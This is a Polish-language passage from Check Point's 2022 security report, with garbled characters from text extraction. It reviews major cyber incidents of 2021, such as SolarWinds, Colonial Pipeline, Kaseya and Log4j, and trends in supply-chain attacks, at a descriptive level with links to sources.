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WSTEP

DO RAPORTU
BEZPIECZENSTWA
CHECK POINT 2022

MINIONE DWANASCIE MIESIECY TO JEDEN Z NAJBARDZIEJ

BURZLIWYCH | PRZELOMOWYCH OKRESOW W HISTORII
CYBERBEZPIECZENSTWA NA SWIECIE.
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MAYA HOROWITZ

Wiceprezes ds. badan, Check Point

Minione dwanascie miesiecy to jeden z najbardziej burzliwych i przetomowych okreséw w
historii cyberbezpieczenstwa na swiecie. Podczas gdy rzady i przedsiebiorstwa na catym
Swiecie nadal staraty sie mierzy¢ sie z nieznanymi dotad wyzwaniami globalnej pandemii,
osiagniecie tak zwanej nowej normalnosci wydawato sie odlegte. Wysitki zwiazane z
transformacja cyfrowa ulegty znacznemu przyspieszeniu, gdy kolejne firmy przechodzity

na hybrydowe i zdalne formy pracy. Mimo to nie zmienity sie pytania dotyczace dojrzatosci
zabezpieczen, na ktdre przedsiebiorcy poszukiwali odpowiedzi przez caty poprzedni

rok. Chociaz odpowiedzi na niektdre z tych pytan wciaz nie zostaty jeszcze ustalone,
cyberprzestepcy nie traca czasu, aby wykorzysta¢ sytuacje do osiagniecia wtasnych korzysci.
0d czasu opublikowania naszego ostatniego sprawozdania liczba atakdw cybernetycznych
wzrosta srednio o0 50%, przy czym najwieksze straty ponidst sektor edukacyjny i badawczy,
w ktérym w ciagu roku kazdego tygodnia dochodzito srednio do 1605 atakdw. Zgodnie z
przewidywaniami, atak na spotke SolarWinds zapoczatkowat trend atakdw na tancuchy
dostaw, ktdry utrzymywat sie przez caty rok i nic nie wskazuje na to, ze w najblizszym czasie

nastapia jakiekolwiek zmiany w tym zakresie.

W naszym Raporcie Bezpieczenstwa na 2022 rok przedstawiamy najwazniejsze wektory i
techniki atakdw, zaobserwowane w ciagu ostatniego roku przez naszych badaczy z Check
Point Software. Przedstawiamy zaréwno najbardziej wyrafinowane metodologie atakéw na
tancuch dostaw, az po exploit wykorzystujacy luke w zabezpieczeniach Log4j, ktéry stanowit

zagrozenie dla setek tysiecy firm z catego Swiata.

Zaczniemy od przegladu najwazniejszych zdarzen, ktére miaty w tym roku miejsce w
cyberprzestrzeni w poszczegélnych miesiacach, a nastepnie omdwimy niektdre sposrod
najwazniejszych trenddw, ktdre bez watpienia beda miaty wptyw na nadchodzacy rok.
Omoéwimy ustugi w chmurze, zmiany w Srodowisku mobilnym i internecie rzeczy, pekniecia
w ekosystemie ransomware, powrdt botnetu Emotet oraz jedno z najwazniejszych wydarzen
ostatnich miesiecy, czyli podatnosc zero-day Log4J, ktdra juz teraz dotozyta sporo pracy

specjalistom ds. cyberbezpieczenstwa.

CHECK POINT SOFTWARE | RAPORT BEZPIECZENSTWA 2022 < 6 >



I
ROZDZIAL 2

02

CHRONOLOGIA
NAJWAZNIEJSZYCH
WYDARZEN W 2021 ROKU

W 2021 ROKU BYLISMY SWIADKAMI NIEZWYKLE DUZEJ LICZBY
ATAKOW, KTORE BYLY ODCZUWALNE PRZEZ LUDZI W CODZIENNYM

ZYCIU, AW NIEKTORYCH PRZYPADKACH STANOWILY NAWET
ZAGROZENIE DLA BEZPIECZENSTWA FIZYCZNEGO.
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W styczniu Departament Sprawiedliwosci USA potwierdzit, ze padt ofiara ataku zwiazanego

z wczesniejszym atakiem na firme SolarWinds. Przestepcom udato sie uzyskac dostep do

3% skrzynek pocztowych pracownikow w celu kradziezy poufnych danych. Departament
Sprawiedliwosci zatrudnia ponad 100 000 pracownikdw organdw Scigania oraz organizacji porzadku
publicznego, w tym w FBI, DEA oraz szeryfow federalnych Stanéw Zjednoczonych. Departament
Sprawiedliwosci korzystat z narzedzia SolarWinds Orion, ktére zostato wykorzystane przez hakerdw
do przeprowadzenia ataku - w efekcie narazito to na niebezpieczenstwo az 18 000 klientow
SolarWinds. Wedtug informacji Departamentu Sprawiedliwosci, jego pracownicy dowiedzieli sie o
ataku w Wigilie Bozego Narodzenia. Przestepcom udato sie uzyskac dostep do niewielkiego odsetka
kont pocztowych w ustudze Microsoft Office 365.

- :
solarwinds © [ Office 365

W lutym popularna platforma do streamingu muzyki Spotify zostata zaatakowana przez
przestepcow, ktérzy wykorzystali w czasie ataku metode credential-stuffing zaledwie trzy miesiace
po podobnym zdarzeniu. W ataku wykorzystano dane 100 000 kont uzytkownikdw oraz baze danych
logowania do serwisu Spotify. Atak zostat zgtoszony do Spotify, co sktonito firme do zresetowania
haset uzytkownikdw, dzieki czemu dane logowania przestaty dziatac. Spétka poinformowata w
oswiadczeniu, ze podjeta rowniez dziatania w celu usuniecia bazy danych wykorzystanych przez
przestepcéw we wspdtpracy ze swoim dostawca ustug internetowych i zaznaczyta, ze atak nie byt
zwiazany ze ztamaniem zabezpieczen samego serwisu Spotify. Cyberprzestepcy wykorzystujacy
metode credential-stuffing wykorzystuja btedy osdb, ktére uzywaja tych samych haset do wielu
kont internetowych i platform. Atakujacy po prostu tworza zautomatyzowane skrypty, ktdre

systematycznie wyprébowuja skradzione identyfikatory i hasta w wielu serwisach.

2 marca 2021 roku firma Volexity poinformowata o wykorzystaniu luk w zabezpieczeniach
rozwiazania Microsoft Exchange Server - , ,
oraz CVE-2021-27065. Dalsze dochodzenie ujawnito, ze atakujacy wykorzystat podatnosé

zero-day do przeprowadzenia ataku w warunkach rzeczywistych. Hakerzy wykorzystali te luke
do zdobycia petnej zawartosci kilku skrzynek pocztowych uzytkownikow. Luka pozwala na zdalny
atak bez uwierzytelniania, specjalnej wiedzy ani dostepu do okreslonego srodowiska. Wedtug
dotychczasowych szacunkéw hakerzy zaatakowali przeszto 250 tysiecy serwerdw, w tym maszyny
nalezace do okoto 30 000 organizacji w Stanach Zjednoczonych i 7 000 serwerdw w

. Ataki dotknety miedzy innymi ,

oraz (CMF) w



https://www.theguardian.com/technology/2021/jan/06/doj-email-systems-solarwinds-hackers
https://www.darkreading.com/attacks-breaches/spotify-hit-with-another-credential-stuffing-attack/d/d-id/1340083
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26857
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26858
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26858
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27065
https://www.checkpoint.com/latest-cyber-attacks/microsoft-exchange-hack/
https://www.forbes.com/sites/daveywinder/2021/03/09/eu-banking-authority-hacked-as-microsoft-exchange-attacks-continue/
https://www.forbes.com/sites/daveywinder/2021/03/09/eu-banking-authority-hacked-as-microsoft-exchange-attacks-continue/
https://www.forbes.com/sites/daveywinder/2021/03/09/eu-banking-authority-hacked-as-microsoft-exchange-attacks-continue/?sh=20c0b9f2fe06%20
https://www.reuters.com/article/us-norway-cyber-idUSKBN2B21TX
https://www.reuters.com/article/us-norway-cyber-idUSKBN2B21TX
https://www.bleepingcomputer.com/news/security/chiles-bank-regulator-shares-iocs-after-microsoft-exchange-hack/
https://www.bleepingcomputer.com/news/security/chiles-bank-regulator-shares-iocs-after-microsoft-exchange-hack/

W kwietniu Agencja Bezpieczenstwa Narodowego Stanéw Zjednoczonych (NSA], Agencja
Cyberbezpieczerstwa | Bezpieczenstwa Infrastruktury (CISA) oraz Federalne Biuro Sledcze

(FBI) opublikowaty wspélne na temat powiazanej z Rosja grupy APT29, ktéra
wykorzystywata piec luk w zabezpieczeniach w trwajacym ataku na cele amerykanskie. Wedtug
informacji, przestepcy zwiazani z rosyjska Stuzba Wywiadu Zagranicznego (SVR), znane w $wiecie
cyberbezpieczenstwa jako APT29, Cozy Bear i The Dukes, czesto wykorzystywali znane luki w
zabezpieczeniach do przeprowadzania skanowania podatnych systemow oraz atakéw na szeroka
skale w celu uzyskania danych uwierzytelniajacych, ktore pozwalatyby na dalszy dostep. Ostatnie
dziatania rosyjskiej SVR obejmuja zainfekowanie aktualizacji oprogramowania SolarWinds Orion,
ataki na obiekty zajmujace sie badaniami nad COVID-19 przy pomocy ztosliwego oprogramowania

WellMess oraz wykorzystanie podatnosci zero-day w oprogramowaniu VMware.

e
solarwinds 7

W maju w wyniku ataku ransomware rurociagu Colonial
Pipeline, ktérym transportowane jest 45% paliw zuzywanych na wschodnim wybrzezu USA, w tym
olej napedowy, benzyna i paliwo lotnicze. Za atakiem stata powiazana z Rosja grupa przestepcza
DarkSide zajmujaca sie oprogramowaniem ransomware. Colonial Pipeline jest najwiekszym
rurociagiem stuzacym do przesytu produktow rafinowanych w USA o tacznej dtugosci 8 851
kilometréw. Pozwala na przesyt przeszto 100 miliondéw galonéw produktdw z Houston w stanie
Teksas do portu w Nowym Jorku. Grupa DarkSide wykorzystuje model ransomware jako ustuga
(Ransomware-as-a-Service, RaaS), w ramach ktdrego realizuje cyberataki we wspétpracy z innymi
podmiotami. Operatorzy rurociagu okup w wysokosci blisko 5 miliondw USD w zamian za
klucz deszyfrujacy. Pézniej Federalne Biuro Sledcze ogtosito przejecie klucza prywatnego konta, na
ktdre zostat wptacony okup oraz skuteczne odzyskanie okupu - 63,7 BTC.

Colonial Pipeline Company

JBS, amerykanski gigant w dziedzinie przetwdrstwa miesnego, padt w czerwcu ofiara ataku przy
pomocy oprogramowania ransomware, ktory zaktdcit dziatalnos¢ firmy w Ameryce Pétnocnej i
Australii. Wedtug atak zostat przeprowadzony przez grupe REvil, zajmujaca sie atakami przy
pomocy oprogramowania ransomware. Atak zmusit JBS do tymczasowego wszystkich
swoich zaktadow produkujacych wotowine w Stanach Zjednoczonych. Ucierpiat réwniez jeden z
kanadyjskich zaktaddw produkcyjnych, ponadto firma wstrzymata sprzedaz wotowiny i jagnieciny
w Australii do czasu przywrdcenia dziatania zaktadéw. 9 czerwca dyrektor naczelny JBL w USA
ujawnit, ze firma zaptacita hakerom 11 milionéw dolaréw okupu w wyniku ,bardzo trudnej, lecz
koniecznej decyzji”, pomimo tego, ze wiekszos¢ systemdw udato sie przywrocic z posiadanych

D>

kopii zapasowych.


https://www.fbi.gov/news/pressrel/press-releases/russian-foreign-intelligence-service-exploiting-five-publicly-known-vulnerabilities-to-compromise-us-and-allied-networks
https://www.nytimes.com/2021/05/08/us/politics/cyberattack-colonial-pipeline.html
https://www.bloomberg.com/news/articles/2021-05-13/colonial-pipeline-paid-hackers-nearly-5-million-in-ransom
https://www.zdnet.com/article/fbi-attributes-jbs-ransomware-attack-to-revil/
https://www.bloomberg.com/news/articles/2021-05-31/meat-is-latest-cyber-victim-as-hackers-hit-top-supplier-jbs

W lipcu grupa REvil zaatakowata wielu dostawcdéw ustug zarzadzanych (MSP) i ich klientéw w
ramach . Przestepcom udato sie skutecznie opracowac i rozpowszechnié
ztosliwa aktualizacje narzedzia do zarzadzania poprawkami i monitorowania klientéw VSA firmy
Kaseya, ktora zawierata instalator ztosliwego oprogramowania. Wedtug szacunkdw, atak dotknat
blisko 1000 firm. Masowy atak na tancuch dostaw przeprowadzony przez REvil podczas weekendu
Dnia Niepodlegtosci dotknat wielu klientéw firmy Kaseya, od ktorych przestepcy zazadali miliondw
dolaréw okupu. Spotka Kaseya opublikowata komunikat na swojej stronie internetowej, w ktérym
ostrzegta wszystkich klientéw i poinformowata o koniecznosci natychmiastowego wytaczenia
serweréw VSA, aby powstrzymac rozprzestrzenianie sie ztosliwego oprogramowania w czasie
dochodzenia. W celu wtamania sie na lokalne serwery Kaseya VSA, grupa REvil wykorzystata
niezatatana podatnosc zero-day. Podatnosc¢ zostata ujawniona firmie Kaseya przez badaczy
zajmujacych sie bezpieczenstwem dziatajacych w ramach instytutu Dutch Institute for Vulnerability
Disclosure (DIVD). W chwili ataku spétka sprawdzata przygotowana poprawke bezpieczenstwa przed
udostepnieniem jej klientom. Przestepcom z grupy REvil udato sie jednak wykorzysta¢ podatnosc
do przeprowadzenia ataku, w wyniku ktérego zazadali od swoich ofiar okupéw w wysokosci od 45
tysiecy do 5 milionéw dolaréw. Atak na serwery Kaseya VSA miat na celu zaatakowanie dostawcow
ustug zarzadzanych wykorzystujacych oprogramowanie Kaseya. W wyniku pierwszego ataku,

ztosliwe oprogramowanie zaczeto trafia¢ do klientéw dostawcéw ustug.
L /< 4
&
Kaseya’

Najwiekszy w historii atak typu DDoS miat w sierpniu - atakujacym udato sie osiagnac
az 17,2 miliona zapytan na sekunde. Atak zostat przeprowadzony za pomoca botnetu Mirai, a jego
celem byta organizacja z branzy finansowej. W przypadku tego ataku ruch zostat wygenerowany
przez przeszto 20000 botow zlokalizowanych w 125 krajach na catym $wiecie. Blisko 15% zapytan
pochodzito z Indonezji, kolejne duze zrédta ataku to Indie, Brazylia, Wietnam i Indonezja. Botnet
Mirai zostat po raz pierwszy w 2016 roku, gdy za jego pomoca przestepcy
dokonywali na urzadzenia internetu rzeczy (loT), takie jak kamery i routery. Od tego czasu
pojawity sie liczne warianty botnetu, ktore rozszerzyty liste atakowanych urzadzen o routery i

serwery z systemem Linux, urzadzenia z systemem Android i inne cele.

Po ogtoszeniu przez prezydenta USA Joe Bidena obowiazku szczepien, zespdt Check Point Research
zaobserwowat wzrost popularnosci fatszywych Swiadectw szczepienia przeciwko
COVID-19 oferowanych przez komunikator Telegram. Dziatalnos¢ czarnego rynku rozszerzyta sie na
28 krajéw, w tym Austrie, Zjednoczone Emiraty Arabskie, Brazylie, Zjednoczone Krdlestwo, Singapur
i wiele innych. Towarzyszyt temu wzrost cen fatszywych swiadectw szczepien na catym Swiecie, w
tym miedzy innymi na terenie Stanow Zjednoczonych, gdzie koszt Swiadectwa wzrdst ze 100 dolaréw

do 200 dolarow.

COVID-19


https://thehackernews.com/2021/07/kaseya-revil-ransomware-attack.html
http://helpdesk.kaseya.com/hc/en-gb/articles/4403440684689
https://thehackernews.com/2021/08/cloudflare-mitigated-one-of-largest.html
https://www.securityweek.com/mirai-botnet-infects-devices-164-countries
https://www.securityweek.com/mirai-botnet-infects-devices-164-countries
https://www.securityweek.com/mirai-botnet-infects-devices-164-countries
https://www.securityweek.com/mirai-botnet-infects-devices-164-countries
https://blog.checkpoint.com/2021/09/14/amid-vaccine-mandates-fake-vaccine-certificates-become-a-full-blown-industry/

W pazdzierniku infrastruktura rosyjskiego gangu REvil, odpowiedzialnego za liczne ataki
ransomware, zostata i wytaczona po raz drugi w ciagu trzech miesiecy,

co doprowadzito do zawieszenia dziatalnosci grupy. Byt to drugi skuteczny cios zadany grupie

REvil po w lipcu strony internetowej Happy Blog, na ktérej grupa publikowata wycieki
danych oraz zniknieciu jednego z lideréw gangu REvil, wystepujacego pod pseudonimem UNKN.
Strona wznowita dziatalno$¢ we wrzesniu, gdy zostata uruchomiona ponownie przez jednego z
pozostatych lideréw gangu. Grupa REvil zdobyta rozgtos w 2021 roku dzieki serii niszczycielskich
atakow, zwtaszcza po udanym od spotki JBS w wysokosci 11 milionéw dolarow,
a takze po udanym ataku na amerykanska spotke , ktéry miat miejsce w lipcu. Coraz bardziej
niszczycielskie ataki zwrdcity uwage wtadz, co doprowadzito w koricu do ataku na infrastrukture

grupy REvil i jej cztonkdw.

14 listopada Emotet, jeden z najbardziej niestawnych botnetéw w historii, powstat z martwych po
skutecznej , ktora miata miejsce zaledwie dziesie¢ miesiecy wczesniej dzieki wspélnej
miedzynarodowej operacji organdw scigania. Emotet botnet Trickbot do rozpoczecia
swojej dziatalnosci - urzadzenia zainfekowane trojanem Trickbot zaczety pobierac i uruchamiac
najnowsza wersje oprogramowania Emotet. Emotet powrdcit jeszcze silniejszy niz poprzednio,

a jego zestaw narzedzi wzbogacit sie o kilka mozliwosci, w tym nowe metody szyfrowania i

rozpowszechniania ztosliwego oprogramowania, a takze ukrywanie polecen kontrolnych.

EMOTET

9 grudnia w module logowania Apache Log4j 2 w wersjach 2.14.1 i nizszych powazna luke
w zabezpieczeniach pozwalajaca na zdalne wykonywanie kodu (CVE-2021-44228). Apache Logéj
to najpopularniejsza biblioteka logowania w jezyku Java, ktdra zostata pobrana z serwisu GitHub
przeszto 400 tysiecy razy. Jest wykorzystywana przez wiele firm z catego $wiata umozliwiajac
gromadzenie logéw w wielu popularnych aplikacjach. Wykorzystanie znalezionej podatnosci jest
proste. Biblioteka Log4j jest wykorzystywana w niemal wszystkich znanych ustugach internetowych
oraz aplikacjach, w tym w serwisach takich jak Twitter, Amazon, Microsoft, Minecraft i wielu innych.
0d momentu publikacji pierwszych informacji na temat podatnosci, zesp6t Check Point Research
opracowanie przeszto 60 wariantow ztosliwego oprogramowania wykorzystujacego
luke w ciagu pierwszych 24 godzin. Nie ma zadnych watpliwosci, ze mieliSmy wéwczas do czynienia
z jedna z najpowazniejszych luk w zabezpieczeniach w ostatnich latach.


https://techcrunch.com/2021/10/18/revil-ransomware-group-goes-dark-after-its-tor-sites-were-hijacked/?guccounter=1
https://www.zdnet.com/article/revil-websites-down-after-governments-pressured-to-take-action-following-kaseya-attack/
https://www.bleepingcomputer.com/news/security/jbs-paid-11-million-to-revil-ransomware-225m-first-demanded/
https://www.zdnet.com/article/updated-kaseya-ransomware-attack-faq-what-we-know-now/
https://www.europol.europa.eu/media-press/newsroom/news/world%25E2%2580%2599s-most-dangerous-malware-emotet-disrupted-through-global-action
https://research.checkpoint.com/2021/when-old-friends-meet-again-why-emotet-chose-trickbot-for-rebirth/
https://research.checkpoint.com/2021/the-laconic-log4shell-faq/
https://blog.checkpoint.com/2021/12/11/protecting-against-cve-2021-44228-apache-log4j2-versions-2-14-1/
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TRENDY W ZAKRESIE
CYBERBEZPIECZENSTWA
W 2021 ROKU

W CIAGU 2021 ROKU OBSERWOWALISMY ZAROWNO WZROST
CZESTOTLIWOSCI, JAK | SKALI ATAKOW NA £t ANCUCHY DOSTAW

OPROGRAMOWANIA. WEDLUG BADACZY LICZBA ATAKOW NA
L ANCUCHY DOSTAW OPROGRAMOWANIA WZROStA W CIAGU ROKU
0 CO NAJMNIEJ 650%.
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OD ATAKU NA SOLARWINDS DO LOG4J

Gtosny atak skierowany w produkty spotki SolarWinds zostat ujawniony w grudniu 2020 roku, ale jego
wptyw na sytuacje zwiazana z bezpieczefistwem w chmurze, a w szczegélnosci z atakami na tancuchy
dostaw sprawit, ze postanowiliSmy ponownie uwzgledni¢ go w naszym raporcie. Incydent dotyczacy
oprogramowania SolarWinds rozpoczat sie od ztosliwego oprogramowania Sunburst, ktdre zostato

dodane przez przestepcow do kilku wersji produktu SolarWinds Orion do zarzadzania zasobami IT,

wykorzystywanego przez ponad 33 000 klientéw na catym Swiecie. Publikacja tej ztosliwej aktualizacji,
przypisywana powiazanej z rosyjskim wywiadem grupie Nobelium, trafita do okoto 18 000 korporacji,

skutecznie infekujac okoto 425 firm z listy Fortune 500, a takze departamenty rzadowe USA w tym

Departament Bezpieczenstwa Wewnetrznego i Departament Skarbu.

Atak na SolarWinds byt przetomowym momentem dla

ekspertéw zajmujacych sie bezpieczenstwem - nie tylko

LOTEM FINKELSTEEN

Dyrektor
ds analizy zagrozen
ELEN ujawnita zupetnie nowy wektor ataku, zwiekszajac

ze wzgledu na sama skale ataku, ale takze ze wzgledu

na fakt, ze technika wykorzystana przez przestepcow

zagrozenie atakami na tafncuchy dostaw oprogramowania.
Ten nowatorski atak zmienit krajobraz bezpieczenstwa i -
zgodnie z naszymi przewidywaniami - w jego nastepstwie
wzrosta liczba incydentdw zwiazanych z tanncuchami dostaw

oprogramowania. W ubiegtym roku ich liczba wzrosta az

szesciokrotnie i po raz kolejny pojawity sie sygnaty, ze firmy

nie sa przygotowane do radzenia sobie z tym zagrozeniem.”
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Jak szczegotowo opisaliSmy w naszym poprzednim
sprawozdaniu, poza bezprecedensowa skala,
najwazniejsza nowinka zwiazana z atakiem na
SolarWinds byta jego wyjatkowa technika. W

celu uzyskania dostepu do wrazliwych zasobow
Microsoft 365 w organizacji, napastnicy najpierw
uzyli sfatszowanego tokena, aby dostac sie do
sieci lokalnych, a nastepnie stamtad dostali sie

do srodowisk chmurowych. Dzi$ mozemy jasno
stwierdzi¢, ze atak na SolarWinds potozyt podwaliny
pod gwattowny wzrost liczby atakéw na tancuchy

dostaw.

W ciagu 2021 roku obserwowalismy zaréwno wzrost
czestotliwosci, jak i skali atakéw na tancuchy

dostaw oprogramowania. Wedtug badaczy liczba

atakow na taficuchy dostaw oprogramowania
wzrosta w ciagu roku o co najmniej 650%. W
ramach badania opublikowanego przez Agencje
Unii Europejskiej ds. Cyberbezpieczenstwa

(ENISA] badacze przeanalizowali przeszto 20

zdarzen i uznali, ze az 66% atakow na tancuchy
dostaw zostato dokonanych poprzez wykorzystanie
nieznanych luk w zabezpieczeniach, natomiast
tylko 16% wykorzystywato znane btedy w
oprogramowaniu. Celem wiekszosci atakdw byt

kod oprogramowania. W tym roku wydaje sie, ze
organizacje po raz kolejny nie byty odpowiednio
przygotowane na ataki - z badan wynika, ze az
82% firm oferuje dostawcom zewnetrznym, ktérzy
tworza ich tafncuch dostaw oprogramowania, konta
z zaawansowanymi uprawnieniami. Sposrdd nich, az
76% posiada uprawnienia, ktére moga pozwoli¢ na
przejecie kont, a co najgorsze, ponad 90% zespotow
ds. bezpieczenstwa nie miato pojecia, ze takie

uprawnienia zostaty w ogéle przyznane.

W tej sytuacji nie mozna zapominac o znanych
grupach APT. Pdotnocnokoreanska grupa

Lazarus niedawno zaczeta wykorzystywad

nowy backdoor o nazwie BLINDINGCAN do
atakéw na dostawcéw ustug IT, w tym miedzy
innymi do ataku na totewskiego dostawce ustug
oraz potudniowokoreanska firme produkujaca
oprogramowanie. Dodatkowe incydenty obejmuja
atak na dostawce sprzetu do monitoringu

CCTV przeprowadzony przez podmiot

powiazany z gangiem DarkSide zajmujacym

sie oprogramowaniem ransomware, w ramach
ktdrego przestepcy zaatakowali strone internetowa
dostawcy, aby za jej pomoca infekowac klientow

oprogramowaniem ransomware.

Jednym z najgtosniejszych atakéw wykorzystujacych
tancuch dostaw oprogramowania w 2021 roku

byt atak wymierzony w firme Kaseya, globalnego
dostawce oprogramowania do zarzadzania IT dla
dostawcow ustug zarzadzanych (MSP) i zespotéw

IT. Atak zostat przeprowadzony przez podmiot

zwigzany powiazany z grupa przestepcza REuvil.
Wedtug dyrektora generalnego spdtki Kaseya,
przestepcom udato sie uzyskac dostep do zaledwie
0,1% klientdw, ale ze wzgledu na to, ze klienci
korzystajacy z oprogramowania Kaseya sami
Swiadcza ustugi, ofiarami ataku padto az 1500
firm. Przestepcy sprytnie wykorzystali luke w
zabezpieczeniach serwerdw VSA, dostepnych
przez Internet. VSA to narzedzie spotki Kaseya
przeznaczone do zdalnego monitorowania,
powszechnie uzywane przez dostawcow ustug

do zarzadzania urzadzeniami sieciowymi i
stacjami roboczymi. Gdy atak zostat wykryty przez
pracownikow spotki Kaseya, jej przedstawiciele

natychmiast opublikowali informacje dla klientdow,

w ktdrej poprosili o natychmiastowe wytaczenie

serwerow VSA.
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Pod koniec pazdziernika popularny pakiet NPM ua-
parser-js, pobierany wiele milionéw razy kazdego
dnia, zostat zaatakowany przez cyberprzestepcéw.
Przez cztery godziny przestepcy kontrolowali

konto NPM programisty. W tym czasie udato im sie
umiesci¢ ztosliwy kod w trzech wersjach biblioteki
NPM. Biblioteka, ktéra stuzy do odczytywania
informacji na temat przegladarki, systemu
operacyjnego, procesora i innych danych na temat
uzytkownikdw, jest wykorzystywana w tysiacach
projektow, w tym produktach firm takich jak
Facebook, Microsoft, Amazon, Google i Slack. Z tego
powodu atak na tancuch dostaw, w ramach ktérego
ztosliwe wersje biblioteki zostaty opublikowane i
rozpowszechnione wsrdd uzytkownikdéw, umozliwit
przestepcom instalacje ztosliwego oprogramowania
na duzej liczbie zainfekowanych urzadzen. W
przypadku tego ataku urzadzenia z systemami Linux
i Windows zostaty zainfekowane narzedziami do

kopania kryptowalut i wykradania haset.

Inny gtosny incydent miat miejsce w listopadzie,
gdy wiele greckich firm transportowych padto
ofiarami ataku przy pomocy oprogramowania
ransomware. Stato sie to po tym, jak dostawca
ustug informatycznych - Danaos Management
Consultants - padt ofiara ataku na tafncuch dostaw
oprogramowania. Incydent sparalizowat kanaty
komunikacyjne firm, uniemozliwiajac kontakt z
innymi statkami, dostawcami i przedstawicielami, a

takze doprowadzit do utraty danych.

W tym roku grupa stojaca za atakiem na SolarWinds

wznowita dziatalnosc¢, wykorzystujac podejscie
opracowane na potrzeby pierwszego ataku i
ponownie skupiajac sie na firmach bedacych
czescia globalnego tancucha dostaw IT. Tym

razem jednak za cel ataku przestepcy obrali sobie
inny element tancucha - podmioty zajmujace sie
sprzedaza ustug chmurowych oraz dostawcow
ustug technicznych, ktérzy dostosowuja i wdrazaja
ustugi w chmurze dla swoich klientdw. Przestepcy
wykorzystuja bezposredni dostep tych firm do
srodowisk swoich klientdw, aby uzyskaé dostep

do ich petnych list klientéw za jednym zamachem,
podszywajac sie pod zaufanego partnera. Ich
dziatalnosc trwa nieprzerwanie od maja 2021 roku i
dotkneta juz ponad 140 sprzedawcéw i dostawcow.
14 firm padto ofiarami atakow. W drugiej potowie
roku grupa Nobelium byta bardzo aktywna, ale

jej skutecznos¢ spadta ze wzgledu na rosnaca
Swiadomosc¢ wsrdod potencjalnych ofiar. Grupa
wykorzystuje wiele taktyk, w tym skradzione dane
uwierzytelniajace uzyskane w ramach wyciekéw

i kradziezy informacji przez inne podmioty,
podszywanie sie pod aplikacje w celu gromadzenia
chronionych danych oraz omijanie uwierzytelniania
wielosktadnikowego. Ostatnia fala atakow moze
sygnalizowac wzrost zasobdw zainwestowanych
przez rosyjska grupe dziatajaca ze wsparciem
panstwa w operacje zwiazane z tancuchami dostaw
oprogramowania, aby w ten sposéb uzyskaé

staty dostep do celéw bedacych przedmiotem

zainteresowania rzadu rosyjskiego.
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Gdy wydawato nam sie, ze juz zaden atak na taincuch
dostaw nie zaskoczy nas w 2021 roku, ujawniono
podatnosc¢ typu zero-day w oprogramowaniu Logéj.
Pakiet Log4j jest najpopularniejsza biblioteka
pozwalajaca na tworzenie logéw napisana w

jezyku Java, pobierana przeszto 400 000 razy
kazdego dnia. Biblioteka ta jest wykorzystywana

w milionach aplikacji opartych na Javie na catym

Swiecie. Wsrdd firm uzywajacych Log4j jako pakietu

do gromadzenia logéw mozna wymieni¢ miedzy
innymi Cisco, Twitter, Cloudflare, Tesla, Amazon,
Apple i wiele innych. Pakiet Log4j rejestruje
komunikaty o btedach. Zgodnie zinformacja
opublikowana przez Apache Foundation, atakujacy
majacy dostep do komunikatow logéw lub ich
parametrow madgt uruchomic dowolny kod z
zewnetrznego serwera za posrednictwem wielu
protokotdw, gdy byta wtaczona funkcja podstawianie
wiadomosci. Do wykorzystania tej luki potrzebny

jest tylko jeden ciag tekstu.

Od czasu jej odkrycia 9 grudnia, podatnosé

Log4Shell jest aktywnie wykorzystywana przez
przestepcow. Podatnos¢ oznaczona numerem
CVE-2021-44228 pozwala nieupowaznionemu
napastnikowi na wykonanie ztosliwego kodu lub
przejecie kontroli nad dowolnym systemem, ktory
wykorzystuje podatna wersje biblioteki. Nie jest
zaskoczeniem, ze w systemie ocen podatnosci CVSS

badacze przyznali jej idealna ocene - 10 na 10. Ze

wzgledu na skale dystrybucji biblioteki, podatnos¢
Log4Shell jest okreslana mianem najbardziej
krytycznej podatnosci 2021 roku. Do tej pory nie
udato sie okresli¢ petnego zakresu szkdd. Apache
Foundation opublikowata poprawke
bezpieczenstwa, jednak mimo to wielu producentéw
zabezpieczen obserwuje wzmozone masowe
skanowanie podatnych serweréw. Juz od
pierwszych chwil od ujawnienia podatnosci Log4j
liczba exploitdw wykorzystujacych luke w
zabezpieczeniach byta niezwykle wysoka. Zespot
Check Point Research wykryt okoto 40 000 prob
atakow w ciagu zaledwie dwdch godzin od
ujawnienia luki w Log4j oraz 830 000 préb atakéw w

ciagu pierwszych 72 godzin.

Luka ta moze potencjalnie umozliwi¢ przestepcom
uzyskanie dostepu do dowolnego systemu
korzystajacego z biblioteki, w tym do systemdw
uzywanych do zarzadzania sieciami i zasobami
klientow. Potencjalne szkody, jakie moze
wyrzadzi¢ ta jedna podatnosc¢ w otwartozrodtowej
bibliotece doskonale uwidacznia ryzyko zwiazane
z tancuchami dostaw oprogramowania - w
szczegolnosci dotyczy to przypadkow, w ktérych
niedofinansowane projekty prowadzone przez kilku
wolontariuszy pracujacych po godzinach staje sie
kluczowym komponentem, na ktorym opieraja

sie tysiace wartych setki milionéw systemow

komputerowych na catym swiecie.

CHECK POINT SOFTWARE | RAPORT BEZPIECZENSTWA 2022 < 16 >


https://thehackernews.com/2021/12/extremely-critical-log4j-vulnerability.html
https://logging.apache.org/log4j/2.x/security.html
https://www.bitdefender.com/blog/labs/bitdefender-honeypots-signal-active-log4shell-0-day-attacks-underway-patch-immediately/
https://blog.checkpoint.com/2021/12/13/the-numbers-behind-a-cyber-pandemic-detailed-dive/
https://blog.checkpoint.com/2021/12/11/protecting-against-cve-2021-44228-apache-log4j2-versions-2-14-1/
https://thehackernews.com/2021/12/extremely-critical-log4j-vulnerability.html
https://thehackernews.com/2021/12/extremely-critical-log4j-vulnerability.html
https://logging.apache.org/log4j/2.x/security.html
https://twitter.com/DTCERT/status/1469258597930614787

I
ROZDZIAL 3

Jak wynika z naszego sprawozdania pdtrocznego, liczba

OMER DEMBINSKY cyberatakdow rosnie we wszystkich obszarach - przestepcy

Ki : wykorzystuja nowe okolicznosci i pospieszne dziatania
ierownik Grupy :
Dyrektor ds. badania danych zwiazane z transformacja cyfrowa. W chwili publikacji tego
sprawozdania, liczba cyberatakéw wzrosta srednio o 50% w
porownaniu z danymi z ubiegtego roku. Najwieksze straty
poniosty sektory edukacji i badan, ktore stawiaja czota

srednio 1605 atakom tygodniowo.”

SKUTKI CYBERATAKOW

Nie jest zadna tajemnica, ze skuteczny cyberatak moze mie¢ dramatyczny wptyw na dziatalnos¢
